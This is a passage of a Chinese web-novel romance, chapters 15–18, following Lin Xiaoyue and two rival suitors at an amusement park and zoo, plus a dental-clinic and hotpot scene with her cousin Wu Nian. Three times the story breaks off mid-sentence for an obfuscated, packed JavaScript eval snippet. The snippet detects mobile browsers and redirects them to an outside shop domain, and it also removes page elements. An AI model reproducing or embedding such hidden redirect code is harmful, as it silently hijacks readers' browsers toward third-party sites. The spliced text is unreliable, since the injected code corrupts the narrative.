三人并排坐在座椅上,两个大男人把林晓玥夹在中间。 “这个护具的缝有点大啊……” “放心,不会把你漏下去的,我拉着你。”江远尧握住林晓玥的右手。 “我也保护你。”贺知春紧紧握住林晓玥的另一只手,遭到了林晓玥的拼命挣扎。 “你怎么回事?凭什么让他抓不让我抓?你就这么不信任我?” 贺知春激动得眼眶有些红。 林晓玥莫名生出一种愧疚感,把另一只手也从江远尧的手中挣脱出来,有些哭笑不得:“不是大哥,这样我更没安全感,让我自己抓着行不?” 林晓玥双手紧紧握着身前的把手,左右两边的人不约而同地叹了口气。 “让暴风雨来得更猛……” 嗖—— 风好大,睁不开眼。 林晓玥只记得工作人员的温馨提示,向后仰头,紧靠着后面的椅背,她看不到左边的贺知春此时和她有着同样的表情,也看不到右边的江远尧白眼翻得比天还高。 这大概是本次旅途最漫长的三十秒。 下来的时候林晓玥的双腿都是颤抖的。 “哎呦!” 没忍住一个单膝跪地,贺知春恰好站在她面前。 “求婚这种事还得男孩子来,你看你太客气了!” 嘴上占着便宜,但手下还是快江远尧一步把她扶了起来,然后两人互相搀扶着走下了楼梯,多么和谐美好的画面,除了留江远尧在身后看着一双背影咬牙切齿。 “诶?出太阳了啊。” 贺知春有些疑惑,林晓玥跟着往天上看了一眼,“是啊,怎么了?” “没怎么,就是感觉后背冷飕飕的,小心!” 林晓玥跳下最后一节台阶,顺手松开了贺知春的手,没看到身后的暗流涌动。 “接下来去哪?” “你不是想玩小游戏吗?”贺知春提示道。 “哦对,差点忘了。”林晓玥一拍脑门。 有的场馆里有一些小游戏,获胜者可以得到奖品,运气好的话不知道要比直接买省下多少钱。 面对江远尧疑惑的眼神,贺知春很是得意,了解林晓玥的兴趣所在,是他的优势。 “先冲哪个?” 面前有套圈和投篮,两边都有人在排队,三人站在售票处。 “套圈吧,胜算大一点。” “得令!” 贺知春抢先一步扫码付款,拿回一桶彩色的塑料圈,递到林晓玥的怀里,“最大的套餐,可劲造!” 林晓玥自信满满走到摊子前,瞄准摊主说的有奖品的那个柱子就扔了过去。 没中。 “没事,再来!” 贺知春和江远尧一人一边轮流给林晓玥递圈。 “耶!中了一个!” 林晓玥激动地原地转圈。 “还有多少?” 林晓玥伸头向旁边的桶里看去,贺知春干脆把剩下的一小把塑料圈全部拿出来。 “十个左右吧,再接再厉!来个红色的!” “之前的圈被碰掉就不算了哦!”工作人员在一旁温馨提示道。 林晓玥一只手已经伸出去了,听到这话又缩回了跃跃欲试的手。 “这整得我都不敢往那扔了。” 林晓玥往右稍稍挪了一步,换了个目标。 “又偏了,最后一个了。” “没事,已经有保底奖品了,再中一个就是锦上添花,没中也没关系。” 贺知春把剩余的塑料圈掏出来后都攥在了自己手里,没有给江远尧人任何机会,此时他把最后一个圈递给林晓玥之后,把桶还给了工作人员。 砰,圈子碰到柱子之后被弹到很远的另一边。 “行吧,一个就一个,奖品是什么?” 工作人员从一旁的货架上摘下一个小巧的挂件,恰好是刚刚那条蛇的角色。 “软乎乎毛绒绒,还挺好捏的。” 林晓玥当即把那个挂件拴在了自己的双肩背包上。 “看什么呢?” 江远尧顺着林晓玥的目光看去,一个类似于单杠的装置外围了很多人,旁边有一个计时器,上面的数字在倒计时。 “臂力挑战?” 贺知春看了看身边的林晓玥,“不是我打击你,你能坚持十秒都够呛。” 林晓玥双手插兜非常坦然道:“所以我也没打算玩儿这个,就是好奇看看。” “你要是喜欢那个奖品的话,我可以去试试。” 江远尧摩拳擦掌跃跃欲试,贺知春看到他这个样子也不甘落后。 “别别别,都是做精细活的,别伤到手!” 林晓玥可赌不起他们的职业生涯,左右看了看走向投篮游戏那里:“还是投篮吧,安全。” “好!” “行!” 两个人各自付了款,一人守在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993347|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个篮筐前面,每人六个篮球,投中三个以上就有奖品。 “不是计时比赛,你们不用着急,搞得气氛很紧张一样。” 贺知春和江远尧两人双手捧着篮球,眼睛紧盯着面前的篮筐,蓄势待发。 “开始!” 从侧面看过去,两人的动作几乎高度重合,纷纷投进了第一个球。 “加油加油!” 但是从第二个开始……节奏就完全不一样了。 江远尧的打法有些激进,可能与他之前大学在篮球队有关,一个球挨着一个球,连中三元后开始失误,最终成绩是四个。 而贺知春则是匀速投篮,就像一部精密运转的仪器,几乎所有的抛物轨迹都是重合的,最终成绩,全中,拿下了一等奖—一个超级大的主题玩偶。 贺知春把玩偶递给林晓玥:“咱们要就要最好的!” “嗯啊,其实我觉得都是劳动成果,不分……”林晓玥怔怔看着面前的两个一大一小的玩偶左右为难,自己两只手也抱不动这么多。 况且江远尧千里迢迢陪自己出来散心,也不好意思让人家失望,林晓玥的手试探着向他的方向伸去。 江远尧的眼里重新焕起了光彩,但他手中的玩偶下一秒就被另一只手拿走了,贺知春把自己赢来的大号玩偶放进林晓玥的怀里:“你抱这个,出去倍儿有面子,我帮你拿着这个,总可以了吧。” 这话倒是听不出问题,林晓玥抱着那个大玩偶走在路上也确实吸引了不少羡慕的目光。 “妈妈你看!她的玩偶好大啊!是我手里这个的好几十倍。” “说明这个姐姐厉害。” “妈妈你能帮我也赢一个回来吗?” “别逼我在这个世界上最快乐的地方扇你嗷。” “饿不饿?” 走出场馆之后,贺知春贴心地帮林晓玥挡太阳,“你不是想吃那个金枪鱼煎饼吗?我们现在去买。” “有点远……什么时候玩到那里再说吧,一开始的计划都打乱了。” 林晓玥本来安排了十分合理的行程,边吃边玩还节省很多排队的时间。 “怪我怪我。” 贺知春不住道歉,江远尧心想你这个不速之客还挺有自知之明。 “都是我来晚了,让别人打乱了你的计划。” 说完还意味深长地看了江远尧一眼,恰好碰上江远尧诧异又鄙夷的眼神。 空气中仿佛有电流划过,隐隐有滋滋作响的声音。 “咳,人不要脸,天下无敌。” 林晓玥白了贺知春一眼:“走吧,你这么能耐,再猜猜我接下来想玩什么?” “水上表演。” “为什么?” “离得近,马上到开始时间,在去煎饼的最短路线上。” 当一个人很了解你的时候,你要庆幸他是朋友而非敌人。 “我猜对了吗?” 林晓玥没有回答他,但脚步明显是往水上表演的方向去的。 走到门口的时候恰好开放入口,林晓玥进场就直奔第一排中间的位置,占据了最佳体验区。 “给!” 从背包里掏出两套一次性雨衣,递给了江远尧一套。 “抱歉,没有准备你的那份。” 林晓玥确实有些于心不忍,但是不速之客的待遇就是这样的。 “没关系,小爷正好有些热,需要解解暑。” “要不……你坐到后面无水区?” 江远尧十分适时地提出了一条温馨建议。 “那不能,来都来了,体验感必须得拉满。” 贺知春不仅没有退到后面的位置,还一屁股坐在了江远尧和林晓玥的中间。 水上的大门打开,一艘摩托艇驶了出来,一个急刹甩起一道水柱,尽数泼在了前几排的观众席上。 林晓玥全副武装,把头埋得深深的,哗啦一声,半边雨衣上砸下水珠。 “你干嘛?” 抬起头看,没有一点防护措施的贺知春已经湿透了,饶是如此,还是帮她挡掉了一半的水。 “我穿雨衣了的,你这是做什么?” 多此一举?自我感动? “肌肉记忆,没事。” 贺知春捋了一把脸上的水,“反正我都得湿,万一你这雨衣质量不好呢,你又不喜欢淋雨。” “傻子。” 16. 第 16 章 “是啊,我就是天字第一号大傻子。” 骄傲如贺知春那样的人口中居然能说出这样的话,林晓玥一时有些震惊,泪花被憋回了眼眶里。 “你有病!”林晓玥的注意力完全脱离了演出。 “对,我有病。” 贺知春伸出一根手指戳了戳自己心脏处的位置,“心盲,晚期了。” 真的有这种病?是什么不治之症吗? 林晓玥一时间拿不准,盯着贺知春的心脏陷入了短暂的思考。 “诶你看……” 江远尧转头看到林晓玥一动不动地望着贺知春,心头一时有些不悦。 “嗯?你说什么?” 回过神来的林晓玥眨眨眼,看向江远尧。 “没事,我说刚刚那个跳水的表演太精彩了。” “哦,不好意思走神了没看到。” 林晓玥的注意力重新回到舞台上。 “你这病严重吗?还能活多久?” 林晓玥用只有两个人听得到的声音问贺知春。 “医生说……看不到今年过年的烟花了。”贺知春叹道。 “真好,节哀。” 话音戛然而止,林晓玥倏然转头,看着贺知春认真的神色和惨白的嘴唇,眼里满是震惊,兄弟,我配合你搞抽象,你给我来真的? 林晓玥的心口有些堵,她说不出现在是一种怎样的心情,是遗憾,还是恼怒。 “骗你的,还说我傻。” 贺知春伸手在林晓玥的头上揉了一把,“没吃饭,低血糖了,快点给我点吃的。” 林晓玥伸手在贺知春的胳膊上狠狠拧了一把,才在包里翻找自己带的零食。 “喏,只有话梅,越吃越饿。” “没事。” 贺知春接过已经撕开口的话梅扔进了嘴里。 “这么酸?!” 贺知春的眉头皱得能夹死一只苍蝇,他不爱吃酸的,几乎是囫囵个把整颗话梅咽了下去,幸亏没有核。 “不愿意吃不用勉强自己。” 林晓玥的余光瞥到他痛苦的表情,不知道是指话梅还是指别的。 “那不能,救命的神药,不吃是真傻子。” 贺知春注视着林晓玥的侧脸,“我不想继续当傻子了。” 关我屁事。 林晓玥双手挡在脸颊两侧,保证自己的目光集中在舞台上。 最终正义终将战胜邪恶,代表好人这一方的角色们取得了胜利。 “请各位观众有序退场,携带好随身物品。” 林晓玥把闷热的雨衣脱了下来,和鞋套一起团成一团。 “来,给我吧。” 江远尧接过林晓玥手中的垃圾,而贺知春则顺手拿起了林晓玥的背包。 “你手机响了。” 林晓玥和贺知春异口同声提醒道。 江远尧腾出一只手接电话,是诊所的合伙人打来的。 “怎么了?好,我下午回去,你让她明天上午再来吧。” 挂掉电话后,江远尧快走几步把手中的雨衣扔进了就近的垃圾桶。 散场的人群险些冲散他们,江远尧不小心撞到一个人才回到林晓玥身边。 “呦,江医生诊所有急事啊。” 贺知春大概从他接电话的对话中猜出了个大概。 江远尧一脸歉意地看着林晓玥:“抱歉啊,有个牙疼的病人今天跑空了,专门约了我明天的号。” “没事啊,工作嘛,可以理解。” 林晓玥不懂他为什么要向自己道歉,今天的行程和他明天的工作又不冲突。 “本来想明天带你去野生动物园玩的,我票都买好了,你不是说你最喜欢卡皮巴拉吗?” 是有这么一回事,林晓玥最近痴迷于刷关于卡皮巴拉的各种视频,羡慕它稳定的精神状态。 “没关系啊,江医生你有事就去忙,我陪玥玥去玩就好,票钱回头我转给你。” 贺知春冷笑一声,就知道你小子没安好心,还想二日游,还好我早有准备。 “能退吗?” 一旁的林晓玥开口道。 “什么?” “票能退吗?你对我太破费了。” 林晓玥说的是真的,不过比起这个,她更担心的是,她依然抗拒和贺知春独处。 江远尧从钱包里掏出两张纸质票:“已经取了纸质票了,退不了了。” 贺知春截过那两张票翻来覆去观察,没有实名制信息,正和自己的心意,掏出几张百元大钞,放到江远尧手里。 “正好转给我,不赔稳赚。” 江远尧看着手心的红彤彤的票子眼角直跳,这年头还有带现金的人,真是稀罕。 贺知春举着那两张门票在林晓玥眼前晃了晃:“来都来了,钱也花了,去看看也不亏。” 许久不见,林晓玥有了新的他所不知道的喜好,这一点让贺知春产生了危机感,第一次发觉自己与她之间存在着距离,从时间到空间,从宏观到个人,他努力追赶眼前的身影,可林晓玥也在一直向前走。 贺知春侧过身深吸一口气,无论如何,哪怕这是一道天堑,他也会给它填平,这一次,他不要再错过了。 林晓玥有些无奈,刚刚想建议江远尧把票转卖出去的,结果转了一圈落在了贺知春手里。 “唉,我有点看不懂你。” 她认真说道,以前的贺知春起码没有这么死缠烂打。 “没事,不急,会懂的。” 贺知春又伸手戳了戳自己的胸口,“这里,都是你。” 油腻,十分油腻。 江远尧厌恶地别过脸。 “还想玩什么?我下午七点的车回去,你要跟我一起吗?” 江远尧意味深长地看了贺知春一眼,“明早还要起早,太累了一点。” 言外之意是在提醒林晓玥,孤男寡女在外过夜不好。 贺知春却伸了个懒腰道,“劳烦担心,我一个同学在这边开民宿,我跟他说一声,留两个房间。” 同学可真多,江远尧的白眼都要翻上天了。 “你见过的,之前在老家的时候。” 林晓玥对之前的事情印象很模糊,想不起有这么个人。 “反正不要钱,我刚问过了,他那里今天没有满客,环境也好,省得明天早起了。” 林晓玥看向江远尧,跟他一起出来的,现在要让他自己回去,属实有一点不讲义气。 “你看他干嘛?回去还得多一份车票钱。” 贺知春一针见血,林晓玥向来不喜欢欠别人太多人情。 “没事,我这么大人了,自己坐车又不是什么难事。” 看出了林晓玥的挣扎和犹豫,江远尧率先替她做出了选择。 “离回去还早,我们现在还来得及去看一场花车巡游。” 目送最后一辆花车离开的时候,天色渐暗。 “到火车站还有一段距离,我就先回去了,你们玩得开心,照顾好她。” 江远尧极不情愿地对贺知春嘱咐道。 “份内的事。”贺知春不动声色地把江远尧往出口的方向推了推。 “回去的路上注意安全,到家来个消息。” 愧疚心让林晓玥不得不考虑得更加周到一些。 江远尧转身挥了挥手,同他们道别。 “那我们现在去城堡那里吃个晚饭等灯光秀吧!” 目送完江远尧离开的背影,贺知春的心情更加明媚了,自然而然地拉起林晓玥的手往城堡的方向走去。 “怎么了?” 林晓玥没说话,视线停留在相牵的两只手上。 “人太多,不拉着你一会儿该走散了。” 说完,贺知春手上又紧了紧,生怕一个不注意,又把她弄丢了。 十分有道理,无从反驳,林晓玥向来讨厌过马路或者人多的时候被落在一旁,只好任由贺知春牵着她。 “这个地方视野不错。” 背靠着过山车旁的假山,刚好面对城堡的正面。 附近的人越来越多,面前的空地逐渐缩小到只容得下双脚。 贺知春伸手挡住了前面的人甩来甩去的硕大双肩背包。 “不好意思啊!” “没事没事,小心一点。” 前面是一对小情侣,所有的负重都在男生身上。 “你看人家男朋友多体贴。”女生轻轻抱怨道,她指的是贺知春刚刚的行为。 “???”男生将背包又往上掂了掂,有些无语地看着她。 “嘿嘿,你也好。” 女生踮脚轻轻蹭了蹭男生的脸颊。 “切, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993348|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没良心。”男生佯怒道。 “有的有的,对你是有的。” …… 林晓玥看着眼前恩爱的两人,不知道想到了什么,有些出神。 黑漆漆的眼前突然出现了黄色的光亮,城堡上光影交错,周围隐藏在树林里的音响开始播放。 几分钟后,随着火焰凋零,周围又渐渐重归黑暗。 “好看,就是时间太短了。” “那要不然我们在这里等下一场?”走在前面开路的贺至春听到后停住了脚步,转身看向林晓玥。 林晓玥摇摇头:“看过一次就够了,反正剧情都一样。” 就像我们,再来一次也不过是重蹈覆辙。 这句话林晓玥没有说出口,但贺知春从她阴晴莫测的脸上读懂了。 “不会的,城堡的故事是提前写好结局的,但现实中的我们可以自己把握结局。” “是吗?” “只要我们不主动剧终。”贺知春加快了脚步。 “你慢点,差点撞到人。” 林晓玥左右躲闪不住道歉,恰恰达到了贺知春的目的,让她无暇顾及那些有的没的。 “不好意思!” 林晓玥的衣袖被轻轻拽动,低头一看是一个扎着两个麻花辫缺了颗门牙的小姑娘。 “有什么事吗?” “姐姐,可以给我一根胡萝卜吗?”她指了指自己手中的纸杯,又指了指蹲在地上的卡皮巴拉,声音细得像蚊子,“我也想喂,但是我爸爸不给买。” 林晓玥从自己的纸杯里掏出两根胡萝卜递给她:“去吧。” “谢谢姐姐!” “这么大方,总共也没多少。” 贺知春正蹲在地上往卡皮巴拉的头上摞积木,瞥见林晓玥手中的纸杯已经空了一大半。 林晓玥无所谓地笑笑:“这个呢,也算达则兼济天下了吧,打工挣钱不就是为了花钱的时候舒坦一些吗?” “嗯,也对。一会儿我们去坐小火车?” “好。”林晓玥把最后一根胡萝卜喂给了兔子。 “还有什么想玩的?” “嗯……想去猴山,我跟你说,我小时候,也不算小时候,初中的时候,去过一次咱们那的动物园,其中有一只猴子和我爸长得一模一样,当时给我逗坏了……” 可能是环境令人放松的原因,也可能是回忆太美好,林晓玥不禁打开了话匣子,而贺知春也听得津津有味。 “怎么不说了?” 林晓玥的话音戛然而止。 “嗯……突然有点话多,这样不好。” 林晓玥自顾自走在最前面,恢复了之前的冷静姿态。 “没有,我喜欢听,喜欢听你说那些我没有参与过的过去。” 贺知春上前拉住林晓玥的手,“每到这种时候我就会想,如果我能早点遇见你就好了。” 林晓玥用看傻子的眼神看了贺知春一眼,目光中带了些怜悯,好像在说,你失忆了? “高中那次,不够,那充其量算是个萍水相逢,我后悔了……” “唉,你总是这样,总是活在遗憾里。” 林晓玥率先坐上小火车,伸手拉了贺知春一把,“多大的人了,该懂得活在当下了。” “我懂了,毕业后这一年我就懂了,我的现在,我的未来,都想有你在。” “嘿。” 林晓玥侧过身来和贺知春面对面,气极反笑道,“你这酸绉绉的词,都是在哪学的。” “字字发自肺腑,我已经深刻检讨并反思过了,并接受了长达两年的心理折磨,人都快疯了。” “那你的执念呢?你的白月光不要了?” “什么白月光?”贺知春脸上一怔。 “金童玉女,青梅竹马,沈青青。” “我和她大学的时候就分了,之前和你说过的啊,你要听细节吗?我们……” “你别说,我不听!” 林晓玥伸手捂住贺知春的嘴,“我不想知道,你跟我在一起前的所有感情经历我可以不过问,但你认识我之后但凡对别人动过心,我头都不回,我的尊严不值钱吗?” “没有!没有别人!哪里有别人!” “等等……你的意思是,现在还是可以回头的?” “咳,我没说,你自己理解的。” 17. 第 17 章 “学长好!” “你好,你是……” 江远尧一大早来到了诊所,就看到有个二十来岁的小姑娘穿着一身利落的牛仔褂站在门口等着。 “你就是那个牙疼但是非要找我的病号啊?” 江远尧笑眯眯看了她一眼,然后打开了门:“进来吧,来的够早的。” “嘿嘿,牙疼不是病,疼起来要人命。” 江远尧关掉诊室里的紫外线灯,独自走到更衣室换衣服,声音从里面传来:“那还不及时就医?点名翻我牌子?” “这不是久仰学长大名,套个近乎好对我下手轻一点。” “对了,你叫我学长是什么意思?也是医大的?” 江远尧已经换好了白大褂,上下打量了吴念一眼,看起来应该研究生还没毕业的样子。 吴念连连摆手道:“不是不是,我可考不上,是高中校友,市一中。” “哦?” “我是林晓玥的表妹,听说你们最近在相亲。” “她跟你提过我?”江远尧突然心情格外好。 “这你别管,反正我知道有你这么一号人,所以……学长等一会儿能手下留情吗?我最怕那个电钻了。” 吴念在做某些表情的时候,身上多少有一点林晓玥的影子。 “好吧,我尽量,你先躺好,我看看怎么个事儿。” 吴念躺在治疗椅上,今天天气不冷,但她一直在发抖,为了自己的CP,她真的是付出了太多。 啪! 手术灯被打开,一道灼眼的光线打进吴念的眼睛里,她下意识闭眼转过了头,恰好钻进江远尧的怀里。 “抱歉,还没调好,平时是助理做的,今天没人来加班。” 江远尧清了清嗓子,把灯扳到了合适的位置。 吴念再一次躺好,鼻腔里残留着雕牌肥皂混杂着消毒水的味道,让人莫名安心。 “嗯,还能笑的出来,看来问题不大。来,张嘴,啊……” “啊……” 江远尧拆开一包一次性工具包,拿出钩子翻看着。 “不是牙的问题,是里面的牙龈发炎了,看样子是盲袋里塞了食物残渣,我给你冲一下,再上一点消炎的药就好了。” “我每天都刷牙的。” 吴念口齿不清地解释道。 “哎别咬人啊!” 江远尧吃痛地抽出自己的手,干这一行就是容易挨咬。 “不好意思。” 吴念的脸腾一下红了。 江远尧用镊子夹断针头上的针尖,又把针头弯成一个倾斜的角度,吸了满满一管子生理盐水。 “可能会有点疼,你忍一下。” 吴念这次没有说话,只是点了点头,表示知道了。 一块红色的辣椒皮被冲了出来,漂在水面上打着转冲进了下水道。 “不吃辣了,真受罪!” “呵,不能因噎废食啊,火锅还是很好吃的,来,继续躺好。” 又一管双氧水下去,吴念的嘴里咕噜噜地冒着泡泡,她躺在那里听着细密的爆裂声心想,脑子进水大概就是这种感觉吧! “不过这几天还是不要吃辛辣食物,等消炎之后再说。” “好。” 吴念的声音从气泡里传出来。 “快闭嘴吧,都口吐白沫了。” 江远尧被她的样子逗笑了,按理说他们是受过专业训练的,可看到吴念滑稽的样子他实在是没忍住。 “抱歉。” “嗯?” “不该笑。” 吴念起身吐出嘴里的泡沫漱口。 “没事,我习惯了,我姐天天嘲笑我。” “林晓玥吗?” “嗯哼,除了她还有谁,这个无情的女人。这就好了?” 吴念舔了舔之前牙疼的位置,还肿着。 “没呢,还没上药。” 江远尧拿出一个棕色的玻璃瓶子,用钩子裹上一层棉花蘸了点棕色的液体涂在牙龈的缝隙里。 吴念依稀记得,高中化学老师讲过,这种瓶子是为了避光保存。 “好了,半小时内不要漱口和吃东西。” 吴念坐起身,随手把头发挽起来。 “甜甜的。”还以为药是苦的。 “嗯,味道好极了。” “学长你今天还有工作吗?” “嗯?后面应该是没人了,今天休息,只招待了你一个。” “那这是VVVVVIP待遇吗?” “可以这么理解吧!亲情大放送。” “那方便请你吃个饭吗?” “就不麻烦……” “顺便给你讲讲我姐以前的糗事。” “不麻烦你破费了,我请你吧!” “好嘞!” “你想吃什么?” “火锅!” “牙还没好,不能吃辣……” “那就猪肚锅!养生!” “好,附近就有一家。” “我知道,来的路上看到了。” 江远尧回到更衣室换衣服。 “你等我一下,你是什么美食雷达吗?” “是呀,跟我姐学的。” “好了,走吧。” 到了饭店,选了个靠窗的位置坐下。 “这边这边!” “这点你倒是和你姐姐不太一样。” “嗯哼?” “她喜欢坐在角落里。” “你们才认识多久,你就这么了解她啦?” “观察出来的,而且……” “而且什么?” “而且我认识她很久了。” 江远尧把菜单递给吴念。 “她没跟你说过?那你都从哪里知道我的?” “校友群啊。” 吴念转着手中的铅笔,在自己喜欢的菜上打勾,自然而不做作,随即狡黠一笑: “你是不是好奇为什么从来没有见过我?” “对,还挺神秘。” “因为我高二才转过来,还留了一级,那时候你们已经毕业了。” 服务员端上来一盘豉汁凤爪,吴念夹起一只放进嘴里,炖得酥烂脱骨的凤爪入口即化,她满足地眯起了眼睛。 “后来我刚进群,就看到他们正在讨论你,就记住你啦!你尝尝,这个超好吃。” “谢谢。那你的记忆力还挺好的,我很少看那个群,他们都说我什么?” “嗯……说你……那个……逆袭人生,非常励志!” 吴念支支吾吾半天。 江远尧笑出了声:“他们说的应该是屌丝逆袭吧?没事啊,这本来就是事实嘛。” “你不生气?”吴念诧异地问道。 “我为什么要生气啊?别人怎么评价关我什么事,我又不熟,又没有损失。” “说的也是,你的境界好高哦。” 江远尧往吴念的盘子里夹了一块肉:“等你到我这个年纪,你也就懂啦,很多事情是不重要的,没必要计较。诶对了,你说要跟我讲什么来着?” “哦对,关于我姐小时候的事嘛,你早就想问了吧?” “被你猜中了。” “嗯……讲点什么呢?表姐她其实挺没安全感的。” “怎么说?” “具体不清楚,大概就是姑姑姑父的感情很复杂,有一段时间经常吵架。” “过日子吵架不是很正常吗?” “是啊,但那次给表姐幼小的心灵留下了很大的心理阴影。我跟你讲,你可不要告诉别人。” “我能跟谁说啊?放心吧。” “那天晚上吵着吵着,两个大人都摔门走了,留下表姐一个人自己在家,半夜躺在沙发上睡着了,被电视机吵醒的时候,上面在将午夜恐怖故事,你懂那种音效和图片的双重暴击吗?吓得她夺门而出去找爸妈,就在离家不远处的大马路上目睹了一场车祸。那人就在她面前被大车碾成了肉泥,后来来人用铲子铲了几袋子才带走。” 江远尧看着面前沸腾的汤锅,一时没有了胃口。 “然后呢?她被吓坏了吧?” “是啊,她整个人跟傻了一样,不哭也不闹,谁也不认识,后来还是警察帮忙联系到了家人,缓了好久才好,但这件事她不记得了。” “那你又是怎么知道的呢?” “正常情况下她是不记得的,但只要在晚上姑姑和姑父再吵架,她就会回想起当年的事情,就好像两个特定的场景建立起一种链接,就像超链接或者快捷方式,一键跳转。” “这样啊,那对现在的她还有什么影响吗?” “嗯……不能见到爸妈吵架,不喜欢自己过马路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993349|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨厌夜晚一个人待在安静的家里。不过……这种症状之前好转过一阵。” “你是说,和那小子在一起之后?” 江远尧此时才明白,吴念是来当说客的,为了劝退他。 “呵,那你凭什么认为我做不到呢?” 因为我那傻姐姐从来都没有放下过旧人啊! 吴念腹诽道,但没有正面回答这个问题:“因为他们之间的缘分比较深。” “天、作、之、合,这是什么?” 在野兽区的观光车上,贺知春看到林晓玥的手中拿着一张小巧的粉红色纸片,只有半个手掌大小,看材质像是寺庙秋千的签纸。 林晓玥捏着那张纸左看右看,整张纸上只有这四个字,看不出是手写还是印刷的。 “不知道是什么,刚刚喂完胡萝卜后在杯底发现的,可能是别人求了签不小心掉进去的吧。” “我不这样认为。”贺知春摇摇头,拿过那张纸。 “怎么?” “那个小女孩是神仙,她算出我俩缘分不浅。”贺知春一脸高深莫测的样子。 林晓乐只觉得离谱:“你们博士也这么迷信吗?” “这你就不懂了,科研也需要玄学的加持,我们做实验之前都先做法的,诶我的缘分……” 一阵横风吹来,签纸飞出了车外。 车的四周围着铁丝网,小纸片恰好从网洞里飞了出去,啪一下黏到了一只雄狮的鬃毛里,但它对此毫无察觉。 林晓玥拦住了贺知春下意识伸出去的手。 “干嘛?送上门的罐头?” “不是……” “一张纸而已,丢就丢了。” “哦……你的手怎么这么凉?” 贺知春的手腕上传来凉意,郊区的风比城里要大一些,林晓玥又穿得单薄,说话已经带了些鼻音。 贺知春低头看了看自己,失策,没有穿外套,于是起身拍了拍林晓玥。 “干嘛?” “你坐里面,我给你挡风。” “里面视野不好。” “能看到,小傻子。” 林晓玥不情不愿挪到里边的座位。 贺知春把她的双手放在自己手心揉搓着,渐渐有了暖意。 “有点热。” 吴念看着面前的电炉子,烤得她脸蛋红彤彤的,鼻尖也冒出了汗珠。 “如果说缘分的话,也是我先遇到她的。” 江远尧喃喃自语道。 “什么?” 吴念只顾着吃肉没听清。 “我说,我高中就遇到她了,比不过后来者居上吗?” “俗话说得好,后来者居上,是因为前者不争不抢,对当时的贺知春来说,你确实是前者,但你当时没有争取呀,表姐的心空了那么多年,第一次有人住进去,唉,错失良机。” 吴念故作老成地摇头叹气,“很不幸,现在你是后来者了,前者他又争又抢,那劲头,我觉得你没戏,真的。我客观给你分析过了,你要听劝。” 江远尧没有回应,那时的他敏感又自卑,哪里有底气去争取。 “听人劝,吃饱饭,况且你们这么多年没见了,你喜欢的到底是现实的她,还是当时的她呢?人不能在当下去追求过去的感觉,三十岁的你也不可能拥有十八岁时的心境,你这样和刻舟求剑没什么区别,剑已经丢了,水也不是当时的河水,你这舟的零件也上下换了个遍。一切都是流动的,爱不能抵万难,相爱才可以。” “道理我都懂,活在当下嘛,但我就是有心结,她是第一个明媚到我心里的女孩子。” “那你就更不用执着了,我跟你讲,她的明媚都是假的,你喜欢的只是她在外人面前的表象,真实的她,只有贺知春见过。” “我不信。” 吴念没了耐心,烦躁地抓了抓头发,自顾自闷头干饭:“爱听不听,良言难劝该死鬼,你自己去撞南墙吧!” 江远尧在水汽中怔愣了许久,熏湿了他的眼睛,他长长叹了口气:“唉……难受。” “难受的时候就吃东西,心脏和胃,总得填满一个吧?” “嘿,你这些歪理都是哪里听来的?”江远尧被她成功逗笑了。 “小吴出品,独家版权。” 吴念抬起头,得意地笑道,“这样才对嘛,开心一点,你笑起来还蛮好看的。” 18. 第 18 章 【怎么样?】 【基本搞定!】 贺知春走在山坡上,低着头手指在手机屏幕上飞快地打着字,嘴角微微上扬。 林晓玥看他这个样子心生疑惑,好奇但又没有立场问他,但聊天框里对面的这个头像怎么这么熟悉…… 她掏出自己的手机验证了一下自己的猜测。 “你在和吴念聊天?” 贺知春的手指明显颤抖了一下,险些把手机摔在地上。 “你俩什么时候这么熟了?” 林晓玥记得当年吴念是花痴过贺知春一段时间,但后来她很少提及过这个人,尤其在得知他们在一起之后,吴念的反应也是很奇怪,看起来对贺知春的成见很大,知道舅舅葬礼那天,她劝自己和他复合。 事出反常必有妖。 贺知春快速发出一条消息之后收起了手机,抬头就看到林晓玥探究的目光。 “没什么事。”他尴尬地摸了摸鼻子。 “我想起来了,这丫头前几天在朋友圈一直嚷嚷牙疼,也没见她去医院,但昨天江远尧偏就那么巧被叫回去了。这件事……和你俩有关系?” 林晓玥的语气几乎是肯定的,吴念那个小丫头鬼精鬼精的,贺知春就更不用说了,俩人凑一起准没憋好屁。 “唉,呵、呵,她牙疼,正好江远尧是牙医,我给她指条明路,不过分吧?” “仅此而已?这么巧?” 一些细碎的疑惑在此时串成了线,林晓玥追问道:“那你是怎么单枪匹马来游乐场的?谁给你提供的情报?” 贺知春一时被噎住,在坚守良心和出卖队友间反复横跳。 林晓玥上前一步露出微笑:“让我猜一猜,我那好妹妹还跟你说什么了,她……” 